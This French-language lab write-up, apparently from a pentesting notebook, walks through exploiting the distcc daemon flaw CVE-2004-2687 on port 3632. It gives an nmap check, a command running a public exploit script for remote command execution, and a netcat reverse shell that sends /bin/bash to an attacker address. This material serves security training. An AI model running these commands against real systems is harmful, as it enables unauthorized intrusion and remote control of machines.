# Port 3632 - Pentesting distcc

> Distcc est un outil permettant d'accélérer le processus de compilation en utilisant les ressources inutilisées d'autres ordinateurs du réseau. Lorsqu'il est configuré sur une machine, celle-ci peut distribuer ses tâches de compilation à d'autres systèmes exécutant le démon distccd et disposant d'un compilateur compatible.

#### Vulnérabilité identifiée

La version 4.2.4 de distccd écoute sur le port 3632 et est vulnérable à CVE-2004-2687. Cette vulnérabilité permet à un attaquant d'exécuter des commandes arbitraires avec les privilèges de l'utilisateur sous lequel le démon s'exécute (souvent un utilisateur non privilégié, mais cela peut varier selon la configuration).

#### Vérification de la vulnérabilité

Pour confirmer la présence de la vulnérabilité, nous utilisons le script Nmap suivant :

```bash
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687
```

Le résultat indique que le serveur est effectivement vulnérable.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2F5Op1FNg7bGFUKYuAQpwz%2Fimage.png?alt=media&#x26;token=3ae49bb1-04d3-4080-83c4-46c036d238d8" alt=""><figcaption></figcaption></figure>

### Explotation&#x20;

#### Exécution d'un script Python

Pour exploiter la vulnérabilité, nous utilisons le script Python suivant :

{% embed url="<https://github.com/angelpimentell/distcc_cve_2004-2687_exploit>" %}

```bash
python3 main.py -i 10.10.10.3 -p 3632
```

Cela nous permet d'exécuter des commandes arbitraires sur la machine cible.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FeSRBhfqVes8HEAgChOQG%2Fimage.png?alt=media&#x26;token=9cdccdf5-7cba-4687-a029-6e083b07b9b8" alt=""><figcaption></figcaption></figure>

#### Exécution d'une reverse shell

Nous écoutons sur le port 443 :

```bash
nc -nlvp 443
```

Nous exécutons la commande suivante depuis la machine cible pour établir la connexion :

```bash
nc 10.10.14.26 443 -e /bin/bash
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FPlDxvnJeTz9wIiZz1TRa%2Fimage.png?alt=media&#x26;token=f17ad538-18f5-4bdc-afae-ade9776af94a" alt=""><figcaption></figcaption></figure>
